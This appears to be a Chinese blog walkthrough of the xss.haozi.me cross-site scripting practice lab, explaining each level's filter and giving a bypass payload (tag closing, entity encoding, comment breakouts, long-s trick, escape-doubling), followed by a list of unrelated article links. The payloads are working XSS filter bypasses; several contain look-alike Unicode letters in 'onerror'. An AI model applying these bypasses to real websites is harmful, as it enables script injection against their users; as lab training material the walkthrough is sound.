当前位置: 首页 > news >正文

xss.haozi.me靶机 通关

0x00

没有任何过滤可以直接注入<img src=x οnerrοr=alert(1)>

0x01

使用了testarea标签将我们的输入内容以普通的字符串进行展示
但是我们可以将标签进行闭合
</textarea><img src=x οnerrοr=alert(1)>

0x02

我们依然可以先闭合之后添加属性a" οnclick="alert(1)

当我们点击输入框后可以实现弹窗

0x03

我们可以看到它通过热品replace()函数将()替换成了空格
但是在html中我们可以使用``来代替()
<img src=x οnerrοr=alert`1`>

0x04

我们可以看到它将我们的()和``都替换成了空
但是我们可以提前编码
<img src=x οnerrοr=alert&#40;1&#41;>
为什么可以这样写呢?因为解码是有顺序的url>html>js

0x05

可以看到它将我们的的输入进行了注释
但是在html中注释有两种写法<!-- -->和<!-- --!>
所以我们的payload可以这样写:--!><img src=x οnerrοr=alert(1)>

0x06

我们可以看到它将auto和on开头的事件都进行了过滤并忽略了大小写
但是html是支持换行的所以我们可以写成
type=image src=x onerror
=alert(1)
那么不是说将on事件进行了过滤吗?为什么我们依然能使用
你需要看清楚它写的正则是以on或auto开头但是它必须以=号结尾
所以我们就可以利用换行进行绕过

0x07

我们可以看到它的正则写的是以<开始,匹配一个<后面可能跟着一个/或者没有跟/
匹配一个或多个非>字符的字符,匹配>字符
也就是说这个正则可以过滤html中的任意标签
我们可以利用html中的一个特性就是标签不必必须写全我们的html可以自动补齐标签
<img src=1 οnerrοr="alert(1)"

0x08

它将我们的输入放在了style标签中并且将style的闭合做了过滤
但是我们依然可以利用html的特性进行绕过
我们可以使用上面使用过的方法就是换行
也可以使用</style >在结束标签中加一个空格html依然可以执行
</style ><img src=x οnerrοr=alert(1)>

0x09

这串代码的意思是必须要有https?://www.segmentfault.com/ 
所以我们可以将payload写在后面
https://www.segmentfault.com/sss" οnerrοr="alert(1) 

0x0A

我们可以看到他将一些符号进行了过滤所以导致我们没办法使用属性
但是我们可以自己制作一个js文件去让js解析
网站也给我们准备了一个可以访问的文件
https://www.segmentfault.com.haozi.me/j.js

所以我们可以写成这样
https://www.segmentfault.com.haozi.me/j.js

0x0B

它使用了toUpperCase()将所有内容都转成了大写
在HTML中标签是不区分大小写的但是path会区分大小写
所以我们需要将path部分进行编码
<img src=x οnerrοr=&#97;&#108;&#101;&#114;&#116;(1)>

0x0C

这里只是对将script替换成了空字符,我们依然可以使用第十二关的方法来注入
如果一定要使用script标签的话可以使用双写进项绕过
<scrscriptipt src=x οnerrοr=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;></scriscriptpt>

0x0D

它这里将< / " ' 都进行了过滤
显然我们需要逃逸出被注释掉的alert()
这里我们可以使用换行逃逸出alert()然后使用-->注释掉后面的‘)
        xxx
        alert(1)
        -->

0x0E

它在所有以<的开头都用了替换使我们的标签失效
这里我们需要使用到一个技巧html中s还有一种特殊的写法 ſ
"ſ" 是拉丁字母 "s" 的一种历史形式,称为长 s(long s)
<ſvg/οnlοad=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

0x0F

我们发现它将我们的特殊字符替换成了html实体编码放入到了onerrror中
但是我们的onerror事件中html实体编码是可以正常转换调用的
我们可以先将前边的闭合,然后使用换行或者 ; 
 aaaa');alert(1)//

0x10

我们可以看到它将我们的输入直接放在了window.data
这相当于window直接调用函数所以我们直接输入
alert(1)

0x11

我们可以看到它将我们特殊符号和换行符等都进行了过滤
但是我们依然可以尝试先闭合")虽然它将换行符过滤了但是我们依然可以使用 ; 
最后使用//注释符将后面的"注释
");alert(1)//

0x12

可以看到它使用将"替换成了\\" 当我们输入后它会将我们的"进行转义防止我们闭合
但是我们只需要在将转义符转义一次它的转义符就会失效当我们输入\"这样的内容后
实际就会变成 \\" 这样它的转义符就会失效我们就可以完成闭合
\");alert(1)//

相关文章:

  • ABC344 A-E题解
  • 三、N元语法(N-gram)
  • Foreign Exchange(UVA 10763)
  • D2力扣滑动窗口系列
  • C++ inline关键字总结
  • C++读写Excel(xlnt库的使用)
  • 用一个 Python 脚本实现依次运行其他多个带 argparse 命令行参数的 .py 文件
  • CTP-API开发系列之三:柜台系统简介
  • RAG综述 《Retrieval-Augmented Generation for Large Language Models: A Survey》笔记
  • jupyter notebook 调整深色背景与单元格宽度与自动换行
  • 权限管理系统-0.2.0
  • 前端vite+vue3——可视化页面性能耗时指标(fmp、fp)
  • 蓝桥杯(3.10)
  • WPF 窗口添加投影效果Effect
  • 数据结构之八大排序
  • 【剑指offer】让抽象问题具体化
  • 【跃迁之路】【519天】程序员高效学习方法论探索系列(实验阶段276-2018.07.09)...
  • express.js的介绍及使用
  • FastReport在线报表设计器工作原理
  • java取消线程实例
  • jquery ajax学习笔记
  • MD5加密原理解析及OC版原理实现
  • mysql 5.6 原生Online DDL解析
  • MySQL的数据类型
  • NSTimer学习笔记
  • PHP变量
  • Web设计流程优化:网页效果图设计新思路
  • 阿里云购买磁盘后挂载
  • 关于使用markdown的方法(引自CSDN教程)
  • 模仿 Go Sort 排序接口实现的自定义排序
  • 使用前端开发工具包WijmoJS - 创建自定义DropDownTree控件(包含源代码)
  • 问题之ssh中Host key verification failed的解决
  • 小而合理的前端理论:rscss和rsjs
  • 栈实现走出迷宫(C++)
  • Play Store发现SimBad恶意软件,1.5亿Android用户成受害者 ...
  • 正则表达式-基础知识Review
  • ​HTTP与HTTPS:网络通信的安全卫士
  • ​创新驱动,边缘计算领袖:亚马逊云科技海外服务器服务再进化
  • ​软考-高级-信息系统项目管理师教程 第四版【第14章-项目沟通管理-思维导图】​
  • (23)Linux的软硬连接
  • (30)数组元素和与数字和的绝对差
  • (C语言)输入自定义个数的整数,打印出最大值和最小值
  • (JS基础)String 类型
  • (Mac上)使用Python进行matplotlib 画图时,中文显示不出来
  • (八)Flask之app.route装饰器函数的参数
  • (附源码)springboot学生选课系统 毕业设计 612555
  • (篇九)MySQL常用内置函数
  • (算法)求1到1亿间的质数或素数
  • (原創) 如何優化ThinkPad X61開機速度? (NB) (ThinkPad) (X61) (OS) (Windows)
  • (转)Android学习系列(31)--App自动化之使用Ant编译项目多渠道打包
  • (轉貼) 寄發紅帖基本原則(教育部禮儀司頒布) (雜項)
  • *(长期更新)软考网络工程师学习笔记——Section 22 无线局域网
  • .equals()到底是什么意思?
  • .NET Core 实现 Redis 批量查询指定格式的Key
  • .NET NPOI导出Excel详解